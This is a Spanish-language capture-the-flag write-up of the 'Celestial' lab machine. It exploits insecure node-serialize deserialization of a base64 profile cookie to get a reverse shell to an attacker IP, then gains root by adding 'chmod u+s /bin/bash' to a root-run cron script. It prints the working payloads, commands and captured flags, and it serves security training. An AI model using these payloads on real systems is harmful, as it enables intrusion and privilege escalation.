Celestial
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR.Celestiales una cajaLinuxcon una sola puerta: unNode.js+Expressen el puerto 3000. La aplicación guarda el estado del usuario en una cookie enbase64que el servidor deserializa connode-serialize. Manipular esa cookie con un objeto que invoque una función (deserialización insegura en Node.js) da ejecución de comandos y una reverse shell comosun. Para root, uncronejecuta como administrador unscript.pydentro del home desunque podemos editar (script de cron escribible): le añadimoschmod u+s /bin/bash(abuso de SUID) y abrimos una shell de root.
Reconocimiento
Escaneo inicial
ping -c 1 10.10.10.85
PING 10.10.10.85 (10.10.10.85) 56(84) bytes of data.
64 bytes from 10.10.10.85: icmp_seq=1 ttl=63 time=103 ms
--- 10.10.10.85 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 103.127/103.127/103.127/0.000 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Empezamos por UDP, filtrando el ruido de los puertos que no contestan:
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 1000 10.10.10.85 | grep -v 'no-response'
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-17 22:47 UTC
Initiating UDP Scan at 22:47
Scanning 10.10.10.85 [1000 ports]
Completed UDP Scan at 22:47, 1.17s elapsed (1000 total ports)
Nmap scan report for 10.10.10.85
Host is up, received user-set (0.15s latency).
Scanned at 2025-12-17 22:47:17 UTC for 1s
Not shown: 6 closed udp ports (port-unreach)
PORT STATE SERVICE REASON
Nmap done: 1 IP address (1 host up) scanned in 1.25 seconds
Raw packets sent: 2084 (98.492KB) | Rcvd: 6 (376B)La tabla se queda con la cabecera y nada debajo. Conviene leer el detalle: de 1000 puertos solo 6 quedaron clasificados (closed, porque devolvieron un ICMP port-unreachable); los otros 994 se quedaron en open|filtered y son justo los que el grep -v 'no-response' ha quitado de en medio. Es decir, no es que UDP esté cerrado: es que nadie ha contestado, que en UDP es lo normal. Con esa salvedad, seguimos por TCP, esta vez a los 65535 puertos:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.85 -oG scan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-17 22:48 UTC
Initiating SYN Stealth Scan at 22:48
Scanning 10.10.10.85 [65535 ports]
Discovered open port 3000/tcp on 10.10.10.85
Completed SYN Stealth Scan at 22:48, 15.21s elapsed (65535 total ports)
Nmap scan report for 10.10.10.85
Host is up, received user-set (0.14s latency).
Scanned at 2025-12-17 22:48:12 UTC for 15s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON
3000/tcp open ppp syn-ack ttl 63Solo hay un puerto abierto, el 3000. La columna REASON aporta dos cosas: los otros 65534 salen como closed (reset), o sea que la máquina responde con RST en vez de tragarse los paquetes, así que no hay un cortafuegos filtrando por delante; y el syn-ack ttl 63 confirma por segunda vía el TTL que vimos con el ping. El ppp de la columna SERVICE no significa nada: es el nombre que /etc/services asocia al 3000, no lo que hay escuchando de verdad. Para eso, detección de versión y scripts:
extractPorts resume el fichero -oG y deja el puerto en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.10.85
Open ports: 3000nmap -p3000 -sCV 10.10.10.85
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-17 22:48 UTC
Nmap scan report for 10.10.10.85 (10.10.10.85)
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.48 secondsAhí sí: el supuesto ppp es un servicio web montado sobre Node.js con el framework Express. Que toda la superficie sea una sola aplicación concentra la atención: lo que falle, fallará ahí.
HTTP - TCP 3000: una web aparentemente estática
whatweb identifica el stack y, de paso, deja una pista clave: la aplicación fija una cookie llamada profile (que más adelante será el vector):
whatweb http://10.10.10.85:3000
http://10.10.10.85:3000 [200 OK] Cookies[profile], Country[RESERVED][ZZ], HttpOnly[profile], IP[10.10.10.85], X-Powered-By[Express]wappalyzer confirma lo mismo desde el navegador (Express sobre Node.js), y la página solo muestra un mensaje:

Un dirsearch no encuentra ninguna ruta ni recurso: el escaneo arranca y llega a Task Completed sin un solo acierto, así que la web es estática:
dirsearch -u http://10.10.10.85:3000/ --exclude-status=403,404
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://10.10.10.85:3000/
[22:51:29] Starting:
Task CompletedNo hay nada que enumerar por fuerza bruta de rutas. Cuando la superficie es tan pequeña, el siguiente paso no es buscar más páginas sino mirar qué intercambia la que ya tenemos: cabeceras, parámetros y, sobre todo, cookies.
La cookie sospechosa
Inspeccionando las cookies que envía la aplicación aparece una con pinta de JSON codificado. No es un JWT (un JWT tiene tres secciones separadas por puntos), así que probamos a decodificarla en base64:

echo -n 'eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==' | base64 -d
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}La cookie es un objeto con campos username y num, y esos valores se reflejan en la página. El servidor decodifica la cookie y la usa al construir la respuesta. La hipótesis inmediata: si cambiamos el objeto, cambiamos lo que se muestra.

Explotación
TCP 3000: confirmar que el objeto se deserializa
Modificamos el objeto y lo volvemos a codificar en base64. El primer intento sale partido en dos líneas, porque base64 corta la salida cada 76 caracteres; una cookie con un salto de línea dentro no vale, así que se repite con -w 0 para que salga en una sola línea:
echo -n '{"username":"kmn9","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"333"}' | base64
echo -n '{"username":"kmn9","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"333"}' | base64 -w 0
eyJ1c2VybmFtZSI6ImttbjkiLCJjb3VudHJ5IjoiSWRrIFByb2JhYmx5IFNvbWV3aGVyZSBEdW1i
IiwiY2l0eSI6IkxhbWV0b3duIiwibnVtIjoiMzMzIn0=
eyJ1c2VybmFtZSI6ImttbjkiLCJjb3VudHJ5IjoiSWRrIFByb2JhYmx5IFNvbWV3aGVyZSBEdW1iIiwiY2l0eSI6IkxhbWV0b3duIiwibnVtIjoiMzMzIn0=Sustituimos la cookie por la nueva (codificándola en URL para que no se rompa en el envío) y la página responde con nuestros valores:

Hey kmn9 333 + 333 is 333333El servidor concatena num consigo mismo (333 + 333 como texto da 333333): confirma que el dato de la cookie se procesa del lado servidor sin validación. Aunque el contenido parece un JSON normal, el comportamiento sugiere que el objeto entero se deserializa, no que se lean campos sueltos. En Node.js eso suele apuntar a node-serialize y su unserialize(), vulnerable cuando recibe datos no confiables.
TCP 3000: construir el payload de deserialización
La documentación pública sobre deserialización en Node.js explica que unserialize() ejecuta funciones marcadas con el token _$$ND_FUNC$$_, y que añadiendo () al final (un IIFE) la función se invoca durante la propia deserialización:

Lo fiable es no escribir la cadena a mano sino generarla con el serialize() del propio módulo, así el formato coincide exactamente con lo que espera el unserialize() del otro lado:
nano serialize.js
node serialize.jsvar y = {
rce : function(){
require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) });
},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
Serialized:
{"rce":"_$$ND_FUNC$$_function(){\n require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) });\n }"}Ahí está el marcador _$$ND_FUNC$$_, pero así todavía no ejecuta nada: la función queda asignada a la propiedad rce, definida y nunca invocada. Para que se dispare sola durante la reconstrucción del objeto hay que convertirla en un IIFE añadiendo () detrás del cuerpo.
El primer intento fue meter el IIFE antes de serializar, y falla: la función se ejecuta durante el propio serialize() y lo que se guarda es su valor de retorno (undefined), no la definición. Por eso el () se añade después, a mano, sobre la cadena ya serializada. Lo comprobamos en local:
nano unserialize.js
node unserialize.jsvar serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
uid=0(root) gid=0(root) groups=0(root),138(docker)Ese uid=0(root) es el de nuestra propia Kali (el id se ha ejecutado en local, no en la víctima): la prueba de concepto solo demuestra que unserialize() invoca la función. Ya tenemos ejecución de comandos; falta convertirla en una shell contra nosotros.
Escribir a mano una reverse shell dentro de esa cadena es pedir problemas: comillas, barras y caracteres especiales que se rompen al pasar por JSON, por base64 y por una cabecera HTTP. El artículo de referencia resuelve eso con nodejsshell.py, que genera la carga íntegra codificada como eval(String.fromCharCode(...)), es decir, solo dígitos y comas:

wget https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/refs/heads/master/nodejsshell.py &>/dev/null
python2 nodejsshell.py 10.10.16.4 4444
[+] LHOST = 10.10.16.4
[+] LPORT = 4444
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,54,46,52,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,...))Esos números son el código JavaScript de la reverse shell carácter a carácter: 118,97,114 es var, y más adelante se leen 10.10.16.4 y 4444 como códigos ASCII. El artículo también enseña dónde encaja la carga: dentro del cuerpo de la función y con el () final pegado al cierre:

{"rce":"_$$ND_FUNC$$_function (){<payload_generado>}()"}Acceso como sun
Guardamos el objeto final en un fichero y lo codificamos en base64, que es el formato en el que el servidor espera la cookie (otra vez con -w 0, que si no se parte):
cat payload
cat payload | base64 -w 0
{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,...))}()"}
eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7ZXZhbChTdHJpbmcuZnJvbUNoYXJDb2RlKDEw...El eyJyY2Ui del principio ya delata el contenido: es {"rce" en base64. Levantamos el listener en el 4444 (el puerto que le pasamos a nodejsshell.py):
penelopeInterceptamos una petición cualquiera con Burp y sustituimos el valor de la cookie profile por nuestro objeto:

[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.1.80 • 172.18.0.1 ...
GET / HTTP/1.1
Host: 10.10.10.85:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: profile=eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7ZXZhbChTdHJpbmcuZnJvbUNoYXJDb2RlKDEw...Al reenviarla, el servidor decodifica la cookie, se la pasa a unserialize(), el IIFE se invoca y la conexión entra. penelope la recoge y además promociona la shell a PTY sola:

[+] Got reverse shell from celestial~10.10.10.85-Linux-x86_64 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python3!
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /root/.penelope/sessions/celestial~10.10.10.85-Linux-x86_64/2025_12_18-18_29_09-539.log
sun@celestial:~$ ls
Desktop Documents Downloads examples.desktop Music node_modules output.txt Pictures Public server.js Templates user.txt Videos
sun@celestial:~$ cat user.txt
0b764cb77ec585707fa860c4587a457fQue la shell caiga directamente en un home con server.js y node_modules al lado confirma que la aplicación corre como sun, sin ningún usuario de servicio de por medio.
Escalada de privilegios
Un script.py en el home de sun
Un listado recursivo del home deja dos cosas a la vista: el node_modules de la aplicación, con el módulo node-serialize que acabamos de explotar, y un fichero fuera de lo común, Documents/script.py:
sun@celestial:~$ ls -R
.:
Desktop Documents Downloads examples.desktop Music node_modules output.txt Pictures Public server.js Templates user.txt Videos
./Documents:
script.py user.txt
./node_modules:
accepts cookie depd escape-html forwarded ipaddr.js mime negotiator path-to-regexp send type-is
array-flatten cookie-parser destroy etag fresh media-typer mime-db node-serialize proxy-addr serve-static unpipeVer node-serialize ahí es la confirmación a posteriori del vector de entrada: no hacía falta adivinar la librería, estaba instalada. Y el script.py tiene un contenido trivial, un único print:
sun@celestial:~$ cd Documents/
sun@celestial:~/Documents$ cat script.py
print "Script is running ... "Un script de Python 2 con un simple mensaje en el home de un usuario casi siempre delata una tarea programada. Para confirmar quién lo ejecuta y cada cuánto, subimos pspy (repo) con un servidor web de un solo uso y observamos los procesos en tiempo real (pspy):
locate pspy | head -n 2 # en la Kali
cp /home/krmena/Downloads/pspy64 .
python3 -m http.server 80wget http://10.10.16.4/pspy64 && chmod +x pspy64 # en la víctima
./pspy64
sun@celestial:~/Documents$ wget http://10.10.16.4/pspy64
Length: 3104768 (3.0M) [application/octet-stream]
2025-12-18 13:31:36 (1.46 MB/s) - 'pspy64' saved [3104768/3104768]
sun@celestial:~/Documents$ chmod +x pspy64
10.10.10.85 - - [18/Dec/2025 18:31:33] "GET /pspy64 HTTP/1.1" 200 -
2025/12/18 13:35:01 CMD: UID=0 PID=7351 | python /home/sun/Documents/script.py
2025/12/18 13:35:01 CMD: UID=0 PID=7350 | /bin/sh -c python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py
2025/12/18 13:35:01 CMD: UID=0 PID=7349 | /usr/sbin/CRON -f
2025/12/18 13:35:01 CMD: UID=0 PID=7353 | chown sun:sun /home/sun/Documents/script.pyEl proceso confirma la teoría: root (UID=0) ejecuta nuestro script.py, y el CRON -f de al lado dice quién lo lanza. Merece la pena leer la línea entera, porque el cron no solo ejecuta: después copia de vuelta su propia versión desde /root/script.py, se la devuelve a sun con chown, le quita el atributo inmutable con chattr -i y, con el touch -d, le pone la fecha de modificación de user.txt para que el fichero no parezca recién tocado.
Ese aseo no nos estorba: en cada ciclo se ejecuta primero el contenido actual del fichero y solo después se restaura, y mientras tanto el fichero pertenece a sun, así que podemos editarlo.
Cron escribible: SUID a /bin/bash
Reemplazamos el contenido por código que ponga el bit SUID a /bin/bash (script de cron escribible):
import os
import sys
os.system("chmod u+s /bin/bash")
print "Script is running ... "
Dejamos el print original donde estaba: el output.txt que genera el cron sigue teniendo el mismo contenido de siempre y nada delata el cambio. Ahora toca esperar al siguiente ciclo. Cuando pasa, el bit SUID ya está puesto y /bin/bash se ejecuta con los privilegios de su propietario (root); una shell con -p (abuso de SUID) preserva ese EUID en vez de tirarlo al arrancar:

sun@celestial:~/Documents$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash
sun@celestial:~/Documents$ bash -p
bash-4.3# whoami
rootLa s en -rwsr-xr-x es la prueba de que el cron ejecutó nuestro código. Con la shell de root, la segunda flag:

bash-4.3# cat /root/root.txt
b7e9579ab531ef4131ec07564e25d367Cadena de ataque
HTTP 3000 (Node.js/Express)
└── cookie base64 con objeto JSON reflejado
└── node-serialize unserialize() + IIFE ── RCE
└── reverse shell como sun (user.txt)
└── cron de root ejecuta /home/sun/Documents/script.py (escribible)
└── script.py → chmod u+s /bin/bash
└── bash -p ── root (root.txt)Lecciones aprendidas
- Cuando la superficie es mínima, mira el estado, no más rutas. Un único puerto y una web "estática" escondían todo el vector en una cookie. La enumeración de rutas no aportó nada; la cookie lo aportó todo.
base64no es cifrado. Un dato codificado enbase64que el servidor decodifica y usa es dato de usuario sin más; si además se deserializa, es ejecución de código.node-serializeejecuta funciones. El marcador_$$ND_FUNC$$_más unIIFEconvierten ununserialize()sobre datos no confiables en RCE. Serializar sesiones solo conJSONy firmarlas.- Un script ajeno en un home casi siempre es un
cron.pspyconfirma quién y cuándo sin necesidad de leer/etc/crontab. Si el fichero es escribible y lo ejecutaroot, es escalada directa. - Editar el fichero, no esperar a que el
cronlo restaure. Aunque la tarea reescriba el script tras ejecutarlo, el contenido se ejecuta antes de la sobrescritura. - Un
UDPvacío no es unUDPcerrado. Solo 6 de 1000 puertos devolvieronport-unreach; los demás quedaron enopen|filtered, que significa "nadie ha contestado", no "no hay nada". Conviene decirlo así en vez de dar el barrido por concluyente. - El
node_moduleses un inventario de vectores. Vernode-serializeinstalado confirma después de los hechos lo que la cookie ya sugería; en una caja de la que aún no se tiene shell, esa misma lista es la que te dice qué buscar. - Media explotación es transporte, no vulnerabilidad.
base64sin-w 0parte la cookie en dos líneas yString.fromCharCodeexiste para que ni una comilla del payload llegue a romperse por el camino. Un exploit correcto puede fallar solo por cómo viaja. - Un
cronque se limpia detrás está señalando el sitio. Elchattr -iy eltouch -dcon la fecha deuser.txtestán puestos para que el fichero no parezca tocado; leer la línea entera depspycuenta más de la caja que la propia ejecución.